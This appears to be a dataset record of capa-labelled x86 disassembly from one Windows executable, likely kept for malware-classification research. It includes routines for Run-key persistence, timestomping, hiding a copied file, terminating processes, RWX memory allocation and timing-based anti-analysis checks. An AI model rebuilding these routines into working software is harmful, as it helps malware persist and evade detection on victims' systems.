joyce8/EMBER2024-capa huggingface dataset:
Function at 0x495990
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov ebx, ecx
test ebx, ebx
js 0x4959a9
shr ebx, 2
mov esi, dword [edx + ebx*4]
dec ebx
push esi
jns 0x4959a2
mov edx, esp
mov dword [ebp - 4], edx
mov ebx, eax
mov dword [ebp - 8], 8
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
mov dl, byte [eax]
mov byte [ecx], dl
inc ecx
inc eax
dec dword [ebp - 8]
jne 0x4959bd
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
call fcn.00495354
test bl, bl
jne 0x495a90
mov dword [ebp - 8], 0x10
mov dword [ebp - 0x14], 0x4af044
mov eax, 4
mov edx, dword [ebp + 0xc]
lea esi, [ebp - 0xc]
mov cl, byte [edx]
mov byte [esi], cl
inc esi
inc edx
dec eax
jne 0x4959f4
mov eax, 4
mov edx, dword [ebp + 0xc]
add edx, 4
mov cl, byte [edx]
mov byte [edx - 4], cl
inc edx
dec eax
jne 0x495a08
push 5
lea eax, [ebp - 0x10]
push eax
push 3
mov eax, dword [ebp - 0x14]
mov ecx, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
call fcn.00495868
mov eax, 4
lea edx, [ebp - 0xc]
lea esi, [ebp - 0x10]
mov ecx, dword [ebp + 0xc]
add ecx, 4
mov bl, byte [edx]
xor bl, byte [esi]
mov byte [ecx], bl
inc ecx
inc esi
inc edx
dec eax
jne 0x495a3a
add dword [ebp - 0x14], 6
dec dword [ebp - 8]
jne 0x4959e9
mov eax, 4
mov edx, dword [ebp + 0xc]
add edx, 4
lea ecx, [ebp - 0xc]
mov bl, byte [edx]
mov byte [ecx], bl
inc ecx
inc edx
dec eax
jne 0x495a5d
mov eax, 4
mov edx, dword [ebp + 0xc]
mov cl, byte [edx]
mov byte [edx + 4], cl
inc edx
dec eax
jne 0x495a6e
mov eax, 4
lea edx, [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
mov bl, byte [edx]
mov byte [ecx], bl
inc ecx
inc edx
dec eax
jne 0x495a82
jmp 0x495b4b
cmp bl, 1
jne 0x495b4b
mov dword [ebp - 8], 0xfffffff0
mov ebx, 0x4af09e
mov eax, 4
mov edx, dword [ebp + 0xc]
lea esi, [ebp - 0xc]
mov cl, byte [edx]
mov byte [esi], cl
inc esi
inc edx
dec eax
jne 0x495ab0
mov eax, 4
mov edx, dword [ebp + 0xc]
add edx, 4
mov cl, byte [edx]
mov byte [edx - 4], cl
inc edx
dec eax
jne 0x495ac4
push 5
lea eax, [ebp - 0x10]
push eax
push 3
mov ecx, ebx
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
call fcn.00495868
mov eax, 4
lea edx, [ebp - 0xc]
lea esi, [ebp - 0x10]
mov ecx, dword [ebp + 0xc]
add ecx, 4
mov dword [ebp - 0x18], ecx
mov cl, byte [edx]
xor cl, byte [esi]
mov edi, dword [ebp - 0x18]
mov byte [edi], cl
inc dword [ebp - 0x18]
inc esi
inc edx
dec eax
jne 0x495af6
sub ebx, 6
inc dword [ebp - 8]
jne 0x495aa5
mov eax, 4
mov edx, dword [ebp + 0xc]
add edx, 4
lea ebx, [ebp - 0xc]
mov cl, byte [edx]
mov byte [ebx], cl
inc ebx
inc edx
dec eax
jne 0x495b1d
mov eax, 4
mov ebx, dword [ebp + 0xc]
mov dl, byte [ebx]
mov byte [ebx + 4], dl
inc ebx
dec eax
jne 0x495b2e
mov eax, 4
lea ebx, [ebp - 0xc]
mov edx, dword [ebp + 0xc]
mov cl, byte [ebx]
mov byte [edx], cl
inc edx
inc ebx
dec eax
jne 0x495b42
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
call fcn.004953d8
mov edi, dword [ebp - 0x24]
mov esi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret 8
Function at 0x4968b4
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e3c
mov eax, dword [ebp - 8]
call fcn.00404e3c
xor eax, eax
push ebp
push 0x496941
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x433608]
call fcn.004336b4
mov ebx, eax
mov edx, 0x80000001
mov eax, ebx
call fcn.00433754
mov cl, 1
mov edx, 0x496958
mov eax, ebx
call fcn.004337b8
cmp al, 1
jne 0x496918
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004338dc
mov eax, ebx
call fcn.00433724
mov eax, ebx
call fcn.00403b5c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x496948
lea eax, [ebp - 8]
mov edx, 2
call fcn.004049b0
ret

Function at 0x497ad8
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e3c
xor eax, eax
push ebp
push 0x497b75
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x2000000
push 3
push 0
push 1
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.00404e4c
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x497b5f
push dword [ebp + 0xc]
push dword [ebp + 8]
lea eax, [ebp - 0x24]
call fcn.0040b39c
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x24]
push eax
call sub.kernel32.dll_SystemTimeToFileTime
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
call sub.kernel32.dll_LocalFileTimeToFileTime
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.kernel32.dll_SetFileTime
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x497b7c
lea eax, [ebp - 4]
call fcn.0040498c
ret
Function at 0x497db0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2d
push 0
push 0
dec ecx
jne 0x497db8
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e3c
mov eax, dword [ebp - 8]
call fcn.00404e3c
xor eax, eax
push ebp
push 0x498015
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x497fd8
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
mov eax, 2
call fcn.00496c58
mov ebx, eax
mov dword [ebp - 0x138], 0x128
call sub.kernel32.dll_GetCurrentProcessId
mov esi, eax
lea edx, [ebp - 0x138]
mov eax, ebx
call fcn.00496c78
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x497f55
lea eax, [ebp - 0x144]
lea edx, [ebp - 0x114]
mov ecx, 0x104
call fcn.00404bfc
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.00409a28
mov eax, dword [ebp - 0x140]
lea edx, [ebp - 0x13c]
call fcn.00408e6c
mov eax, dword [ebp - 0x13c]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 8]
call fcn.00408e6c
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404d98
je 0x497ed1
lea eax, [ebp - 0x150]
lea edx, [ebp - 0x114]
mov ecx, 0x104
call fcn.00404bfc
mov eax, dword [ebp - 0x150]
lea edx, [ebp - 0x14c]
call fcn.00408e6c
mov eax, dword [ebp - 0x14c]
push eax
lea edx, [ebp - 0x154]
mov eax, dword [ebp - 8]
call fcn.00408e6c
mov edx, dword [ebp - 0x154]
pop eax
call fcn.00404d98
jne 0x497f42
cmp esi, dword [ebp - 0x130]
je 0x497f42
mov edi, 0x28
mov eax, edi
call fcn.00402820
mov dword [eax], edi
mov eax, dword [ebp - 0x130]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov edi, eax
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0x130]
call fcn.00498028
lea edx, [ebp - 0x158]
mov eax, dword [ebp - 0x10]
call fcn.00408e6c
mov eax, dword [ebp - 0x158]
push eax
lea edx, [ebp - 0x15c]
mov eax, dword [ebp - 4]
call fcn.00408e6c
mov eax, dword [ebp - 0x15c]
pop edx
call fcn.00408f88
test al, al
je 0x497f42
push 0
push edi
call sub.kernel32.dll_TerminateProcess
lea edx, [ebp - 0x138]
mov eax, ebx
call fcn.00496c98
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x497e2c
push ebx
call sub.kernel32.dll_CloseHandle_1
lea edx, [ebp - 0x160]
mov eax, dword [ebp - 8]
call fcn.00408e6c
mov eax, dword [ebp - 0x160]
push eax
lea edx, [ebp - 0x16c]
mov eax, dword [0x4ad33c]
mov eax, dword [eax]
call fcn.0045f980
mov eax, dword [ebp - 0x16c]
lea edx, [ebp - 0x168]
call fcn.00409a28
mov eax, dword [ebp - 0x168]
lea edx, [ebp - 0x164]
call fcn.00408e6c
mov edx, dword [ebp - 0x164]
pop eax
call fcn.00404d98
jne 0x497fce
push esi
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov edi, eax
push 0
push edi
call sub.kernel32.dll_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x497fe2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49801c
lea eax, [ebp - 0x16c]
mov edx, 0xd
call fcn.004049b0
lea eax, [ebp - 0x10]
call fcn.0040498c
lea eax, [ebp - 8]
mov edx, 2
call fcn.004049b0
ret
Function at 0x49b75f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x4acc36
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x49b7b7
movzx edx, word [ebp + 8]
mov dword [ebp - 8], edx
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0xc]
push 0
push 0
push 0x4acc57
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x49b7ad
mov bx, 0x2a04
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey_1
jmp 0x49b7bb
mov bx, 0x2a04
mov eax, ebx
pop ebx
pop ecx
pop ecx
pop ebp
ret 8

Function at 0x4a865c
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4a874b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x4a8764
call fcn.0040994c
test al, al
je 0x4a8741
mov eax, 0x4a8778
call fcn.0040994c
test al, al
jne 0x4a8741
mov eax, 0x4a8778
call fcn.00409820
mov edx, 0x4a8798
mov eax, 0x4a87a8
call fcn.00497db0
mov eax, 0x4a87c8
call fcn.0040995c
push 0
push 0x4a87e4
push 0x4a8800
call sub.kernel32.dll_CopyFileA
mov eax, 0x16
call fcn.004031dc
inc eax
push eax
mov eax, 0x3c
call fcn.004031dc
push eax
mov eax, 0x3c
call fcn.004031dc
push eax
mov eax, 0x3e7
call fcn.004031dc
push eax
mov eax, 0x1b
call fcn.004031dc
mov ecx, eax
inc ecx
mov dx, 3
mov ax, 0x7de
call fcn.00464d64
fstp qword [ebp - 8]
wait
push dword [ebp - 4]
push dword [ebp - 8]
mov eax, 0x4a87c8
call fcn.00497ad8
push 2
push 0x4a87e4
call sub.kernel32.dll_SetFileAttributesA
mov edx, 0x4a87c8
mov eax, 0x4a8814
call fcn.004968b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4a8755
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x402fe8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x479020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403080
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403060
xor eax, eax
push ebp
push 0x403059
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40309c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403060
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x479020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x479020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403d4c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x47f04c], 0
je 0x403dad
cmp word [0x47f220], 0xd7b2
jne 0x403d75
cmp dword [0x47f228], 0
jbe 0x403d75
mov eax, 0x47f21c
call dword [0x47f238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x47906c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403dd4
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x479030], 0
jne 0x403dc9
push 0
push 0x479064
push 0x47906c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403f00
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402724
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x47f04d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403ec8
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x405d98
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405dfe
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004041b4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402bac
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405de8
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405e05
lea eax, [ebp - 0x10]
call fcn.00403f44
ret

Function at 0x40aea4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40aedd
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404034
jmp 0x40aee6
mov eax, ebx
mov edx, esi
call fcn.00403f98
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40aef0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40af11
mov al, byte [esp]
jmp 0x40af13
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40b598
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40b410
mov eax, dword [0x47e480]
cmp byte [eax], 0
je 0x40b614
mov eax, dword [0x47e0b0]
call fcn.00402a18
call fcn.0040288c
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004086e4
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40b65c
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b64a
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x47e034]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x47f668]
call fcn.00405264
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40bf04
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40bfda
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403fdc
lea eax, [ebp - 8]
call fcn.00404454
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404404
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40bfc4
mov eax, ebx
call fcn.00402724
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40bfbd
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404404
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40bfa7
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40bfec
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40bfa7
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bfc4
mov eax, dword [ebp - 0x10]
call fcn.00402744
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bfe1
lea eax, [ebp - 8]
call fcn.00403f44
ret

Function at 0x40c4e4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40c548
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004041b4
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.0040820c
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c54f
lea eax, [ebp - 0xc]
call fcn.00403f44
ret

Function at 0x40d828
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor ecx, ecx
push 0x40d8a4
push dword fs:[ecx]
mov dword fs:[ecx], esp
push ebp
push ebx
mov ebp, edx
and eax, 0xfffffffc
push edi
mov edx, dword [eax + 0x3c]
push esi
test ebp, ebp
je 0x40d8a0
cmp word [edx + eax], 0x4550
mov edx, dword [edx + eax + 0x78]
jne 0x40d8a0
add edx, eax
test ebp, 0xffff0000
mov ebx, eax
je 0x40d888
mov eax, dword [edx + 0x18]
mov ecx, dword [edx + 0x20]
not eax
inc eax
mov esi, ebp
je 0x40d893
mov edi, dword [ecx + ebx]
add ecx, 4
add edi, ebx
cmpsb byte [esi], byte es:[edi]
jne 0x40d865
cmp byte [esi - 1], 0
jne 0x40d872
add eax, dword [edx + 0x18]
mov ecx, dword [edx + 0x24]
add ecx, ebx
movzx ebp, word [ecx + eax*2]
inc ebp
mov ecx, dword [edx + 0x1c]
dec ebp
add ecx, ebx
mov eax, dword [ecx + ebp*4]
add eax, ebx
pop esi
pop edi
pop ebx
pop ebp
pop dword fs:[0]
pop ecx
ret
xor eax, eax
jmp 0x40d893
Function at 0x4152a4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
push ebp
push ecx
mov esi, dword [ebx + 0x24]
mov edi, dword [ebx + 0x34]
sub edi, dword [ebx + 0x6c]
sub edi, dword [ebx + 0x64]
jmp 0x4152d1
mov eax, dword [ebx + 0x24]
sub eax, 0x106
add eax, esi
cmp eax, dword [ebx + 0x64]
ja 0x415350
push esi
mov eax, dword [ebx + 0x30]
mov edx, eax
mov ebp, esi
add edx, ebp
push edx
push eax
call fcn.00410e70
add esp, 0xc
sub dword [ebx + 0x68], esi
sub dword [ebx + 0x64], esi
sub dword [ebx + 0x54], ebp
mov eax, dword [ebx + 0x44]
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x3c]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x41531e
mov cx, word [esp]
sub cx, si
jmp 0x415320
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x415307
mov eax, esi
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x38]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x415346
mov cx, word [esp]
sub cx, si
jmp 0x415348
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x41532f
add edi, esi
mov ebp, dword [ebx]
cmp dword [ebp + 4], 0
je 0x4153ad
mov edx, dword [ebx + 0x30]
mov ecx, edi
add edx, dword [ebx + 0x64]
mov eax, ebp
add edx, dword [ebx + 0x6c]
call fcn.00414f84
add dword [ebx + 0x6c], eax
cmp dword [ebx + 0x6c], 3
jb 0x415398
mov eax, dword [ebx + 0x30]
mov edx, dword [ebx + 0x64]
movzx eax, byte [eax + edx]
mov dword [ebx + 0x40], eax
mov ecx, dword [ebx + 0x50]
shl eax, cl
mov edx, dword [ebx + 0x30]
mov ecx, dword [ebx + 0x64]
movzx edx, byte [edx + ecx + 1]
xor eax, edx
and eax, dword [ebx + 0x4c]
mov dword [ebx + 0x40], eax
cmp dword [ebx + 0x6c], 0x106
jae 0x4153ad
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x4152ae
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x417f8c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
add esp, 0xfffffff0
call fcn.00417f88
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0x64
call sub.kernel32.dll_Sleep
call fcn.00417f88
sub eax, dword [esp]
sbb edx, dword [esp + 4]
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
call sub.kernel32.dll_GetTickCount
mov ecx, eax
sub ecx, ebx
cmp dword [esp + 0xc], 0
jne 0x417fda
cmp dword [esp + 8], 0x2faf080
jb 0x417fe5
jmp 0x417fdc
jl 0x417fe5
cmp ecx, 0x32
jb 0x417fe5
xor eax, eax
jmp 0x417fe7
mov al, 1
add esp, 0x10
pop ebx
ret
Function at 0x4287d8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x47fd2c
cmp dword [edi], 0
jne 0x428854
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x47fd28]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x47cba0
mov ecx, 2
call fcn.00402920
mov edx, 0x4287b0
lea eax, [esi + 5]
call fcn.004287d0
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.004287d0
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x428829
mov dword [0x47fd28], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x429da0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x429da6
ret

Function at 0x42c1f4
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x42c245
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x42c22c
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x42c21c
jmp 0x42c245
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x42c22d
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4326e4
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x418218]
call fcn.004048b0
xor eax, eax
push ebp
push 0x432828
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x47ced8], 0
jne 0x432737
mov ecx, dword [0x47dec0]
mov dl, 1
mov eax, dword [0x407128]
call fcn.0040b728
call fcn.00403904
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00402b8c
mov eax, ebx
call fcn.00404780
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x432838
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.00405834
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00404790
test eax, eax
jle 0x4327cf
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x4327c8
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.004041cc
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.004041b4
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00407f24
test eax, eax
jne 0x4327c8
mov ebx, 0x15
jmp 0x4327d4
mov ebx, 0x10
jmp 0x4327d4
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x47ced8]
call fcn.0043263c
mov eax, dword [ebp - 8]
call fcn.0043263c
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.0040584c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43282f
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00403f68
lea eax, [ebp - 0x10]
mov edx, dword [0x418218]
call fcn.00404980
ret

Function at 0x4389d0
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x43891c
call sub.user32.dll_EnumWindows
ret

Function at 0x438af0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x438b6d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00438550
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x438b15
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.00438150
cmp dword [ebp - 4], 0
je 0x438b57
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.00404404
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
